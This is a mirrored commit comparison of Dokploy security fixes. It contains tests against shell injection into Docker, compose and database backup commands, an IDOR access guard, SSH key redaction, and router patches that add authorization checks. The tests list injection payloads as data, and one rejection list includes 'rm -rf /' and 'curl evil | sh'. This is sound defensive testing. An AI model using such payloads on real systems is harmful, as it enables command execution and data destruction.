mirror of
https://github.com/Dokploy/dokploy.git
synced 2026-07-23 06:45:27 +02:00
Compare commits
24 Commits
fix/cmdi-g
...
fix/cmdi-c
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
dd32a23583 | ||
|
|
fbd84b9b0d | ||
|
|
d48037a802 | ||
|
|
8539a5c82f | ||
|
|
ccd2e83c57 | ||
|
|
89effbe395 | ||
|
|
b24202e69b | ||
|
|
0348f5fb38 | ||
|
|
cba0b253c7 | ||
|
|
1c31ed9969 | ||
|
|
ecbaf6060b | ||
|
|
c0afc48da8 | ||
|
|
65fe737bc4 | ||
|
|
77384b2183 | ||
|
|
68ea9f7771 | ||
|
|
182d3656bb | ||
|
|
c2c0e9c1c2 | ||
|
|
5563699f71 | ||
|
|
117cfa1a89 | ||
|
|
439eee45ed | ||
|
|
e88c6b6b4f | ||
|
|
26cae3b8a9 | ||
|
|
071d9eacee | ||
|
|
57ecfa8884 |
@@ -0,0 +1,106 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import { chmodSync, existsSync, rmSync, writeFileSync } from "node:fs";
|
||||
import {
|
||||
getLibsqlBackupCommand,
|
||||
getMariadbBackupCommand,
|
||||
getMongoBackupCommand,
|
||||
getMysqlBackupCommand,
|
||||
getPostgresBackupCommand,
|
||||
} from "@dokploy/server/utils/backups/utils";
|
||||
import {
|
||||
getMariadbRestoreCommand,
|
||||
getMongoRestoreCommand,
|
||||
getMysqlRestoreCommand,
|
||||
getPostgresRestoreCommand,
|
||||
} from "@dokploy/server/utils/restore/utils";
|
||||
import { afterAll, beforeAll, describe, expect, it } from "vitest";
|
||||
|
||||
// A stub replacing the real `docker` binary. It ignores exec/-i/$CONTAINER_ID,
|
||||
// exports the -e VAR=val pairs, and runs the inner `sh -c <script>` — so the
|
||||
// test exercises BOTH shell layers (outer /bin/sh building the docker command,
|
||||
// and the inner shell) the way production does, without needing a container.
|
||||
const stub = `/tmp/docker_stub_${process.pid}`;
|
||||
const MARK = `/tmp/dokploy_dbbk_pwned_${process.pid}`;
|
||||
|
||||
beforeAll(() => {
|
||||
writeFileSync(
|
||||
stub,
|
||||
`#!/bin/bash
|
||||
shift # exec
|
||||
envs=()
|
||||
while [ "$1" = "-e" ]; do envs+=("$2"); shift 2; done
|
||||
shift 2 # -i CONTAINER
|
||||
shell="$1"; shift # bash|sh
|
||||
shift # -c
|
||||
env "\${envs[@]}" "$shell" -c "$1" </dev/null 2>/dev/null || true
|
||||
`,
|
||||
);
|
||||
chmodSync(stub, 0o755);
|
||||
});
|
||||
|
||||
afterAll(() => {
|
||||
if (existsSync(stub)) rmSync(stub);
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
});
|
||||
|
||||
// Run a builder-produced command with `docker` pointed at the stub; return true
|
||||
// if no injected command fired.
|
||||
const runsSafely = (command: string) => {
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
const withStub = command.replace(/^docker /, `${stub} `);
|
||||
try {
|
||||
execSync(withStub, {
|
||||
shell: "/bin/bash",
|
||||
stdio: "ignore",
|
||||
env: { ...process.env, CONTAINER_ID: "test" },
|
||||
});
|
||||
} catch {}
|
||||
const fired = existsSync(MARK);
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
return !fired;
|
||||
};
|
||||
|
||||
// Payloads that try to break out of every quoting style used in the builders.
|
||||
const p = (mark: string) => [
|
||||
`$(touch ${mark})`,
|
||||
"`touch " + mark + "`",
|
||||
`x'; touch ${mark}; '`,
|
||||
`x"; touch ${mark}; echo "`,
|
||||
`x; touch ${mark}`,
|
||||
];
|
||||
|
||||
describe("database backup/restore command injection", () => {
|
||||
const cases: Array<[string, (v: string) => string]> = [
|
||||
["postgres backup (database)", (v) => getPostgresBackupCommand(v, "u")],
|
||||
["postgres backup (user)", (v) => getPostgresBackupCommand("db", v)],
|
||||
["mariadb backup (password)", (v) => getMariadbBackupCommand("db", "u", v)],
|
||||
["mysql backup (database)", (v) => getMysqlBackupCommand(v, "pw")],
|
||||
["mongo backup (user)", (v) => getMongoBackupCommand("db", v, "pw")],
|
||||
["libsql backup (database)", (v) => getLibsqlBackupCommand(v)],
|
||||
["postgres restore (database)", (v) => getPostgresRestoreCommand(v, "u")],
|
||||
[
|
||||
"mariadb restore (password)",
|
||||
(v) => getMariadbRestoreCommand("db", "u", v),
|
||||
],
|
||||
["mysql restore (database)", (v) => getMysqlRestoreCommand(v, "pw")],
|
||||
["mongo restore (user)", (v) => getMongoRestoreCommand("db", v, "pw")],
|
||||
];
|
||||
|
||||
for (const [label, build] of cases) {
|
||||
it(`${label} is not injectable`, () => {
|
||||
for (const payload of p(MARK)) {
|
||||
expect(runsSafely(build(payload))).toBe(true);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
it("preserves a legitimate database name (passed through as env var)", () => {
|
||||
const cmd = getPostgresBackupCommand("my-db_prod", "app_user");
|
||||
// Values live in -e assignments, never inline in the pg_dump text.
|
||||
expect(cmd).toContain("-e DB_NAME=my-db_prod");
|
||||
expect(cmd).toContain("-e DB_USER=app_user");
|
||||
expect(cmd).toContain(
|
||||
'pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER"',
|
||||
);
|
||||
});
|
||||
});
|
||||
103
apps/dokploy/__test__/compose/compose-command-injection.test.ts
Normal file
103
apps/dokploy/__test__/compose/compose-command-injection.test.ts
Normal file
@@ -0,0 +1,103 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import { existsSync, rmSync } from "node:fs";
|
||||
import { createCommand } from "@dokploy/server/utils/builders/compose";
|
||||
import { parse, quote } from "shell-quote";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
|
||||
const base = {
|
||||
composeType: "docker-compose" as const,
|
||||
appName: "compose-app",
|
||||
sourceType: "raw" as const,
|
||||
command: "",
|
||||
composePath: "docker-compose.yml",
|
||||
};
|
||||
|
||||
// createCommand output is interpolated as `docker ${command}` at the deploy
|
||||
// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
|
||||
const runsSafely = (command: string) => {
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
try {
|
||||
execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
|
||||
} catch {}
|
||||
const fired = existsSync(MARK);
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
return !fired;
|
||||
};
|
||||
|
||||
const PAYLOADS = [
|
||||
`$(touch ${MARK})`,
|
||||
"`touch " + MARK + "`",
|
||||
`x; touch ${MARK}`,
|
||||
`x | touch ${MARK}`,
|
||||
];
|
||||
|
||||
describe("compose createCommand injection", () => {
|
||||
it("escapes composePath (docker-compose)", () => {
|
||||
for (const p of PAYLOADS) {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
sourceType: "github",
|
||||
composePath: p,
|
||||
} as any);
|
||||
expect(runsSafely(cmd)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("escapes composePath (stack deploy)", () => {
|
||||
for (const p of PAYLOADS) {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
composeType: "stack",
|
||||
sourceType: "github",
|
||||
composePath: p,
|
||||
} as any);
|
||||
expect(runsSafely(cmd)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("escapes appName", () => {
|
||||
for (const p of PAYLOADS) {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
sourceType: "github",
|
||||
appName: p,
|
||||
composePath: "docker-compose.yml",
|
||||
} as any);
|
||||
expect(runsSafely(cmd)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects a custom command containing shell control characters", () => {
|
||||
for (const bad of [
|
||||
"up -d; rm -rf /",
|
||||
"up && curl evil | sh",
|
||||
"up $(touch x)",
|
||||
"up `id`",
|
||||
]) {
|
||||
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
|
||||
/Invalid characters/,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it("allows a legitimate custom command", () => {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
command: "compose -f docker-compose.yml -p app up -d --build",
|
||||
} as any);
|
||||
expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
|
||||
});
|
||||
|
||||
it("keeps a legitimate composePath intact", () => {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
sourceType: "github",
|
||||
composePath: "deploy/docker-compose.prod.yml",
|
||||
} as any);
|
||||
expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
|
||||
expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
|
||||
"deploy/docker-compose.prod.yml",
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,41 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import { existsSync, rmSync } from "node:fs";
|
||||
import { parse, quote } from "shell-quote";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
// The six database deploy functions (postgres/mysql/mariadb/mongo/redis/libsql)
|
||||
// build `docker pull ${quote([dockerImage])}` for the remote (execAsyncRemote)
|
||||
// path. `docker` is replaced by `:` so only the injection surface is exercised.
|
||||
const MARK = `/tmp/dokploy_dbimg_pwned_${process.pid}`;
|
||||
|
||||
const PAYLOADS = [
|
||||
"$(touch %MARK%)",
|
||||
"`touch %MARK%`",
|
||||
"redis:7; touch %MARK%",
|
||||
"redis:7 && touch %MARK%",
|
||||
"redis:7 | touch %MARK%",
|
||||
];
|
||||
|
||||
describe("database service dockerImage command injection", () => {
|
||||
it("does not execute injected commands from dockerImage", () => {
|
||||
for (const template of PAYLOADS) {
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
const dockerImage = template.replace("%MARK%", MARK);
|
||||
const command = `: pull ${quote([dockerImage])}`;
|
||||
try {
|
||||
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
|
||||
} catch {}
|
||||
expect(existsSync(MARK)).toBe(false);
|
||||
}
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
});
|
||||
|
||||
it("keeps a legitimate image tag intact", () => {
|
||||
expect(parse(quote(["postgres:16.4-alpine"]))).toEqual([
|
||||
"postgres:16.4-alpine",
|
||||
]);
|
||||
expect(parse(quote(["ghcr.io/org/db:latest"]))).toEqual([
|
||||
"ghcr.io/org/db:latest",
|
||||
]);
|
||||
});
|
||||
});
|
||||
66
apps/dokploy/__test__/deploy/docker-build-injection.test.ts
Normal file
66
apps/dokploy/__test__/deploy/docker-build-injection.test.ts
Normal file
@@ -0,0 +1,66 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import { existsSync, rmSync } from "node:fs";
|
||||
import { parse, quote } from "shell-quote";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
// Reproduces the escaping applied at the docker build/pull sinks and asserts no
|
||||
// payload can break out of the command. `docker`/`cd` are replaced by `:` so the
|
||||
// test exercises only the injection surface, not real docker.
|
||||
const MARK = `/tmp/dokploy_docker_pwned_${process.pid}`;
|
||||
|
||||
const runAndCheckSafe = (command: string) => {
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
try {
|
||||
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
|
||||
} catch {
|
||||
// no-op stand-ins may exit non-zero; only the marker matters.
|
||||
}
|
||||
const fired = existsSync(MARK);
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
return !fired;
|
||||
};
|
||||
|
||||
const PAYLOADS = [
|
||||
"$(touch %MARK%)",
|
||||
"`touch %MARK%`",
|
||||
"x; touch %MARK%",
|
||||
"x && touch %MARK%",
|
||||
"x | touch %MARK%",
|
||||
];
|
||||
|
||||
describe("docker build/pull command injection", () => {
|
||||
it("dockerImage (buildRemoteDocker: docker pull / echo) is escaped", () => {
|
||||
for (const p of PAYLOADS) {
|
||||
const dockerImage = p.replace("%MARK%", MARK);
|
||||
const command = `: pull ${quote([dockerImage])}; : echo ${quote([`Pulling ${dockerImage}`])}`;
|
||||
expect(runAndCheckSafe(command)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("dockerContextPath (docker-file: cd) is escaped", () => {
|
||||
for (const p of PAYLOADS) {
|
||||
const dockerContextPath = p.replace("%MARK%", MARK);
|
||||
const command = `: cd ${quote([dockerContextPath])}`;
|
||||
expect(runAndCheckSafe(command)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("publishDirectory (nixpacks: docker cp source path) is escaped", () => {
|
||||
for (const p of PAYLOADS) {
|
||||
const publishDirectory = p.replace("%MARK%", MARK);
|
||||
const containerId = "buildabc";
|
||||
const command = `: cp ${quote([`${containerId}:/app/${publishDirectory}/.`])} /dest`;
|
||||
expect(runAndCheckSafe(command)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("keeps a legitimate image / path intact as a single token", () => {
|
||||
// Escaping may add backslashes (e.g. before ':'), but the shell must parse
|
||||
// the result back to exactly the original single token.
|
||||
expect(parse(quote(["nginx:1.27-alpine"]))).toEqual(["nginx:1.27-alpine"]);
|
||||
expect(parse(quote(["registry.io/team/app:tag"]))).toEqual([
|
||||
"registry.io/team/app:tag",
|
||||
]);
|
||||
expect(parse(quote(["dist/static"]))).toEqual(["dist/static"]);
|
||||
});
|
||||
});
|
||||
91
apps/dokploy/__test__/git-provider/git-provider-idor.test.ts
Normal file
91
apps/dokploy/__test__/git-provider/git-provider-idor.test.ts
Normal file
@@ -0,0 +1,91 @@
|
||||
import { TRPCError } from "@trpc/server";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
// Mock the DB so the REAL getAccessibleGitProviderIds (called internally by
|
||||
// assertGitProviderAccess) runs against controlled data. Mocking the exported
|
||||
// function would NOT intercept the intra-module call, so we mock one layer down.
|
||||
const mockDb = vi.hoisted(() => ({
|
||||
query: {
|
||||
gitProvider: {
|
||||
findMany: vi.fn(),
|
||||
},
|
||||
member: {
|
||||
findFirst: vi.fn(),
|
||||
},
|
||||
},
|
||||
}));
|
||||
vi.mock("@dokploy/server/db", () => ({ db: mockDb }));
|
||||
|
||||
const mockHasValidLicense = vi.hoisted(() => vi.fn());
|
||||
vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
|
||||
hasValidLicense: mockHasValidLicense,
|
||||
}));
|
||||
|
||||
import { assertGitProviderAccess } from "@dokploy/server/services/git-provider";
|
||||
|
||||
const ORG = "org-1";
|
||||
const USER = "user-member";
|
||||
const session = { userId: USER, activeOrganizationId: ORG };
|
||||
|
||||
// Provider owned by USER within ORG -> should be accessible.
|
||||
const providerMine = {
|
||||
gitProviderId: "gp-mine",
|
||||
userId: USER,
|
||||
sharedWithOrganization: false,
|
||||
};
|
||||
// Provider owned by someone else within ORG, not shared, not assigned.
|
||||
const providerOther = {
|
||||
gitProviderId: "gp-other",
|
||||
userId: "user-2",
|
||||
sharedWithOrganization: false,
|
||||
};
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
mockHasValidLicense.mockResolvedValue(false);
|
||||
mockDb.query.gitProvider.findMany.mockResolvedValue([
|
||||
providerMine,
|
||||
providerOther,
|
||||
]);
|
||||
mockDb.query.member.findFirst.mockResolvedValue({
|
||||
role: "member",
|
||||
accessedGitProviders: [],
|
||||
});
|
||||
});
|
||||
|
||||
describe("assertGitProviderAccess (git provider IDOR guard)", () => {
|
||||
it("rejects a provider from another organization with NOT_FOUND (cross-org IDOR)", async () => {
|
||||
await expect(
|
||||
assertGitProviderAccess(session, {
|
||||
gitProviderId: "gp-mine",
|
||||
organizationId: "org-2",
|
||||
}),
|
||||
).rejects.toMatchObject({ code: "NOT_FOUND" });
|
||||
});
|
||||
|
||||
it("rejects a same-org provider the caller is not entitled to with FORBIDDEN", async () => {
|
||||
await expect(
|
||||
assertGitProviderAccess(session, {
|
||||
gitProviderId: "gp-other",
|
||||
organizationId: ORG,
|
||||
}),
|
||||
).rejects.toMatchObject({ code: "FORBIDDEN" });
|
||||
});
|
||||
|
||||
it("allows a same-org provider the caller owns", async () => {
|
||||
await expect(
|
||||
assertGitProviderAccess(session, {
|
||||
gitProviderId: "gp-mine",
|
||||
organizationId: ORG,
|
||||
}),
|
||||
).resolves.toBeUndefined();
|
||||
});
|
||||
|
||||
it("throws a TRPCError so tRPC maps the HTTP status", async () => {
|
||||
const err = await assertGitProviderAccess(session, {
|
||||
gitProviderId: "gp-mine",
|
||||
organizationId: "org-2",
|
||||
}).catch((e) => e);
|
||||
expect(err).toBeInstanceOf(TRPCError);
|
||||
});
|
||||
});
|
||||
44
apps/dokploy/__test__/server/server-sshkey-redaction.test.ts
Normal file
44
apps/dokploy/__test__/server/server-sshkey-redaction.test.ts
Normal file
@@ -0,0 +1,44 @@
|
||||
import { redactServerSshKey } from "@dokploy/server/services/server";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
describe("redactServerSshKey (server SSH private key disclosure guard)", () => {
|
||||
it("blanks the private key while keeping the rest of the ssh key intact", () => {
|
||||
const server = {
|
||||
serverId: "srv-1",
|
||||
name: "prod",
|
||||
sshKey: {
|
||||
sshKeyId: "key-1",
|
||||
publicKey: "ssh-ed25519 AAAA...",
|
||||
privateKey: "-----BEGIN OPENSSH PRIVATE KEY-----\nsecret\n",
|
||||
},
|
||||
};
|
||||
|
||||
const redacted = redactServerSshKey(server);
|
||||
|
||||
expect(redacted.sshKey.privateKey).toBe("");
|
||||
// Non-secret fields and the surrounding record must survive untouched.
|
||||
expect(redacted.sshKey.publicKey).toBe("ssh-ed25519 AAAA...");
|
||||
expect(redacted.serverId).toBe("srv-1");
|
||||
expect(redacted.name).toBe("prod");
|
||||
});
|
||||
|
||||
it("does not mutate the original record", () => {
|
||||
const server = {
|
||||
serverId: "srv-1",
|
||||
sshKey: { privateKey: "top-secret" },
|
||||
};
|
||||
redactServerSshKey(server);
|
||||
expect(server.sshKey.privateKey).toBe("top-secret");
|
||||
});
|
||||
|
||||
it("is a no-op when the server has no ssh key", () => {
|
||||
const server = { serverId: "srv-2", sshKey: null };
|
||||
expect(redactServerSshKey(server)).toEqual(server);
|
||||
});
|
||||
|
||||
it("handles a record without a loaded sshKey relation", () => {
|
||||
// e.g. server.update returns the plain row where sshKey is not populated.
|
||||
const server: { serverId: string; sshKey?: null } = { serverId: "srv-3" };
|
||||
expect(redactServerSshKey(server)).toEqual(server);
|
||||
});
|
||||
});
|
||||
41
apps/dokploy/__test__/server/swarm-nodeid-injection.test.ts
Normal file
41
apps/dokploy/__test__/server/swarm-nodeid-injection.test.ts
Normal file
@@ -0,0 +1,41 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import { existsSync, rmSync } from "node:fs";
|
||||
import { quote } from "shell-quote";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
// Mirrors how getNodeInfo builds its command in services/docker.ts:
|
||||
// `docker node inspect ${quote([nodeId])} --format '{{json .}}'`
|
||||
// We swap `docker node inspect` for `:` (a no-op) so the test only exercises
|
||||
// whether the nodeId payload can break out of the command, not real docker.
|
||||
const buildCommand = (nodeId: string) =>
|
||||
`: node inspect ${quote([nodeId])} --format '{{json .}}'`;
|
||||
|
||||
const INJECTION_NODE_IDS = [
|
||||
"$(touch %MARK%)",
|
||||
"`touch %MARK%`",
|
||||
"; touch %MARK%",
|
||||
"abc | touch %MARK%",
|
||||
"&& touch %MARK%",
|
||||
];
|
||||
|
||||
describe("getNodeInfo nodeId command injection", () => {
|
||||
it("does not execute injected commands from the nodeId", () => {
|
||||
const mark = `/tmp/dokploy_swarm_pwned_${process.pid}`;
|
||||
for (const template of INJECTION_NODE_IDS) {
|
||||
if (existsSync(mark)) rmSync(mark);
|
||||
const nodeId = template.replace("%MARK%", mark);
|
||||
try {
|
||||
execSync(buildCommand(nodeId), { shell: "/bin/sh", stdio: "ignore" });
|
||||
} catch {
|
||||
// A non-zero exit from the no-op is fine; we only care about the marker.
|
||||
}
|
||||
expect(existsSync(mark)).toBe(false);
|
||||
}
|
||||
if (existsSync(mark)) rmSync(mark);
|
||||
});
|
||||
|
||||
it("keeps a legitimate node id intact as a single literal token", () => {
|
||||
const nodeId = "abc123def456";
|
||||
expect(quote([nodeId])).toBe(nodeId);
|
||||
});
|
||||
});
|
||||
@@ -1,4 +1,5 @@
|
||||
import {
|
||||
assertGitProviderAccess,
|
||||
createBitbucket,
|
||||
findBitbucketById,
|
||||
getAccessibleGitProviderIds,
|
||||
@@ -51,8 +52,10 @@ export const bitbucketRouter = createTRPCRouter({
|
||||
}),
|
||||
one: protectedProcedure
|
||||
.input(apiFindOneBitbucket)
|
||||
.query(async ({ input }) => {
|
||||
return await findBitbucketById(input.bitbucketId);
|
||||
.query(async ({ input, ctx }) => {
|
||||
const bitbucket = await findBitbucketById(input.bitbucketId);
|
||||
await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
|
||||
return bitbucket;
|
||||
}),
|
||||
bitbucketProviders: protectedProcedure.query(async ({ ctx }) => {
|
||||
const accessibleIds = await getAccessibleGitProviderIds(ctx.session);
|
||||
@@ -78,18 +81,26 @@ export const bitbucketRouter = createTRPCRouter({
|
||||
|
||||
getBitbucketRepositories: protectedProcedure
|
||||
.input(apiFindOneBitbucket)
|
||||
.query(async ({ input }) => {
|
||||
.query(async ({ input, ctx }) => {
|
||||
const bitbucket = await findBitbucketById(input.bitbucketId);
|
||||
await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
|
||||
return await getBitbucketRepositories(input.bitbucketId);
|
||||
}),
|
||||
getBitbucketBranches: protectedProcedure
|
||||
.input(apiFindBitbucketBranches)
|
||||
.query(async ({ input }) => {
|
||||
.query(async ({ input, ctx }) => {
|
||||
if (input.bitbucketId) {
|
||||
const bitbucket = await findBitbucketById(input.bitbucketId);
|
||||
await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
|
||||
}
|
||||
return await getBitbucketBranches(input);
|
||||
}),
|
||||
testConnection: protectedProcedure
|
||||
.input(apiBitbucketTestConnection)
|
||||
.mutation(async ({ input }) => {
|
||||
.mutation(async ({ input, ctx }) => {
|
||||
try {
|
||||
const bitbucket = await findBitbucketById(input.bitbucketId);
|
||||
await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
|
||||
const result = await testBitbucketConnection(input);
|
||||
|
||||
return `Found ${result} repositories`;
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import {
|
||||
assertGitProviderAccess,
|
||||
createGitea,
|
||||
findGiteaById,
|
||||
getAccessibleGitProviderIds,
|
||||
@@ -53,9 +54,13 @@ export const giteaRouter = createTRPCRouter({
|
||||
}
|
||||
}),
|
||||
|
||||
one: protectedProcedure.input(apiFindOneGitea).query(async ({ input }) => {
|
||||
return await findGiteaById(input.giteaId);
|
||||
}),
|
||||
one: protectedProcedure
|
||||
.input(apiFindOneGitea)
|
||||
.query(async ({ input, ctx }) => {
|
||||
const gitea = await findGiteaById(input.giteaId);
|
||||
await assertGitProviderAccess(ctx.session, gitea.gitProvider);
|
||||
return gitea;
|
||||
}),
|
||||
|
||||
giteaProviders: protectedProcedure.query(async ({ ctx }) => {
|
||||
const accessibleIds = await getAccessibleGitProviderIds(ctx.session);
|
||||
@@ -89,7 +94,7 @@ export const giteaRouter = createTRPCRouter({
|
||||
|
||||
getGiteaRepositories: protectedProcedure
|
||||
.input(apiFindOneGitea)
|
||||
.query(async ({ input }) => {
|
||||
.query(async ({ input, ctx }) => {
|
||||
const { giteaId } = input;
|
||||
|
||||
if (!giteaId) {
|
||||
@@ -99,6 +104,9 @@ export const giteaRouter = createTRPCRouter({
|
||||
});
|
||||
}
|
||||
|
||||
const gitea = await findGiteaById(giteaId);
|
||||
await assertGitProviderAccess(ctx.session, gitea.gitProvider);
|
||||
|
||||
try {
|
||||
const repositories = await getGiteaRepositories(giteaId);
|
||||
return repositories;
|
||||
@@ -113,7 +121,7 @@ export const giteaRouter = createTRPCRouter({
|
||||
|
||||
getGiteaBranches: protectedProcedure
|
||||
.input(apiFindGiteaBranches)
|
||||
.query(async ({ input }) => {
|
||||
.query(async ({ input, ctx }) => {
|
||||
const { giteaId, owner, repositoryName } = input;
|
||||
|
||||
if (!giteaId || !owner || !repositoryName) {
|
||||
@@ -124,6 +132,9 @@ export const giteaRouter = createTRPCRouter({
|
||||
});
|
||||
}
|
||||
|
||||
const gitea = await findGiteaById(giteaId);
|
||||
await assertGitProviderAccess(ctx.session, gitea.gitProvider);
|
||||
|
||||
try {
|
||||
return await getGiteaBranches({
|
||||
giteaId,
|
||||
@@ -141,9 +152,12 @@ export const giteaRouter = createTRPCRouter({
|
||||
|
||||
testConnection: protectedProcedure
|
||||
.input(apiGiteaTestConnection)
|
||||
.mutation(async ({ input }) => {
|
||||
.mutation(async ({ input, ctx }) => {
|
||||
const giteaId = input.giteaId ?? "";
|
||||
|
||||
const gitea = await findGiteaById(giteaId);
|
||||
await assertGitProviderAccess(ctx.session, gitea.gitProvider);
|
||||
|
||||
try {
|
||||
const result = await testGiteaConnection({
|
||||
giteaId,
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import {
|
||||
assertGitProviderAccess,
|
||||
findGithubById,
|
||||
getAccessibleGitProviderIds,
|
||||
getGithubBranches,
|
||||
@@ -22,17 +23,27 @@ import {
|
||||
} from "@/server/db/schema";
|
||||
|
||||
export const githubRouter = createTRPCRouter({
|
||||
one: protectedProcedure.input(apiFindOneGithub).query(async ({ input }) => {
|
||||
return await findGithubById(input.githubId);
|
||||
}),
|
||||
one: protectedProcedure
|
||||
.input(apiFindOneGithub)
|
||||
.query(async ({ input, ctx }) => {
|
||||
const github = await findGithubById(input.githubId);
|
||||
await assertGitProviderAccess(ctx.session, github.gitProvider);
|
||||
return github;
|
||||
}),
|
||||
getGithubRepositories: protectedProcedure
|
||||
.input(apiFindOneGithub)
|
||||
.query(async ({ input }) => {
|
||||
.query(async ({ input, ctx }) => {
|
||||
const github = await findGithubById(input.githubId);
|
||||
await assertGitProviderAccess(ctx.session, github.gitProvider);
|
||||
return await getGithubRepositories(input.githubId);
|
||||
}),
|
||||
getGithubBranches: protectedProcedure
|
||||
.input(apiFindGithubBranches)
|
||||
.query(async ({ input }) => {
|
||||
.query(async ({ input, ctx }) => {
|
||||
if (input.githubId) {
|
||||
const github = await findGithubById(input.githubId);
|
||||
await assertGitProviderAccess(ctx.session, github.gitProvider);
|
||||
}
|
||||
return await getGithubBranches(input);
|
||||
}),
|
||||
githubProviders: protectedProcedure.query(async ({ ctx }) => {
|
||||
@@ -67,8 +78,10 @@ export const githubRouter = createTRPCRouter({
|
||||
|
||||
testConnection: protectedProcedure
|
||||
.input(apiFindOneGithub)
|
||||
.mutation(async ({ input }) => {
|
||||
.mutation(async ({ input, ctx }) => {
|
||||
try {
|
||||
const github = await findGithubById(input.githubId);
|
||||
await assertGitProviderAccess(ctx.session, github.gitProvider);
|
||||
const result = await getGithubRepositories(input.githubId);
|
||||
return `Found ${result.length} repositories`;
|
||||
} catch (err) {
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import {
|
||||
assertGitProviderAccess,
|
||||
createGitlab,
|
||||
findGitlabById,
|
||||
getAccessibleGitProviderIds,
|
||||
@@ -51,9 +52,13 @@ export const gitlabRouter = createTRPCRouter({
|
||||
});
|
||||
}
|
||||
}),
|
||||
one: protectedProcedure.input(apiFindOneGitlab).query(async ({ input }) => {
|
||||
return await findGitlabById(input.gitlabId);
|
||||
}),
|
||||
one: protectedProcedure
|
||||
.input(apiFindOneGitlab)
|
||||
.query(async ({ input, ctx }) => {
|
||||
const gitlab = await findGitlabById(input.gitlabId);
|
||||
await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
|
||||
return gitlab;
|
||||
}),
|
||||
gitlabProviders: protectedProcedure.query(async ({ ctx }) => {
|
||||
const accessibleIds = await getAccessibleGitProviderIds(ctx.session);
|
||||
|
||||
@@ -86,19 +91,27 @@ export const gitlabRouter = createTRPCRouter({
|
||||
}),
|
||||
getGitlabRepositories: protectedProcedure
|
||||
.input(apiFindOneGitlab)
|
||||
.query(async ({ input }) => {
|
||||
.query(async ({ input, ctx }) => {
|
||||
const gitlab = await findGitlabById(input.gitlabId);
|
||||
await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
|
||||
return await getGitlabRepositories(input.gitlabId);
|
||||
}),
|
||||
|
||||
getGitlabBranches: protectedProcedure
|
||||
.input(apiFindGitlabBranches)
|
||||
.query(async ({ input }) => {
|
||||
.query(async ({ input, ctx }) => {
|
||||
if (input.gitlabId) {
|
||||
const gitlab = await findGitlabById(input.gitlabId);
|
||||
await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
|
||||
}
|
||||
return await getGitlabBranches(input);
|
||||
}),
|
||||
testConnection: protectedProcedure
|
||||
.input(apiGitlabTestConnection)
|
||||
.mutation(async ({ input }) => {
|
||||
.mutation(async ({ input, ctx }) => {
|
||||
try {
|
||||
const gitlab = await findGitlabById(input.gitlabId);
|
||||
await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
|
||||
const result = await testGitlabConnection(input);
|
||||
|
||||
return `Found ${result} repositories`;
|
||||
|
||||
@@ -9,6 +9,7 @@ import {
|
||||
getPublicIpWithFallback,
|
||||
haveActiveServices,
|
||||
IS_CLOUD,
|
||||
redactServerSshKey,
|
||||
removeDeploymentsByServerId,
|
||||
serverAudit,
|
||||
serverSetup,
|
||||
@@ -105,7 +106,7 @@ export const serverRouter = createTRPCRouter({
|
||||
});
|
||||
}
|
||||
|
||||
return server;
|
||||
return redactServerSshKey(server);
|
||||
}),
|
||||
getDefaultCommand: withPermission("server", "read")
|
||||
.input(apiFindOneServer)
|
||||
@@ -436,7 +437,7 @@ export const serverRouter = createTRPCRouter({
|
||||
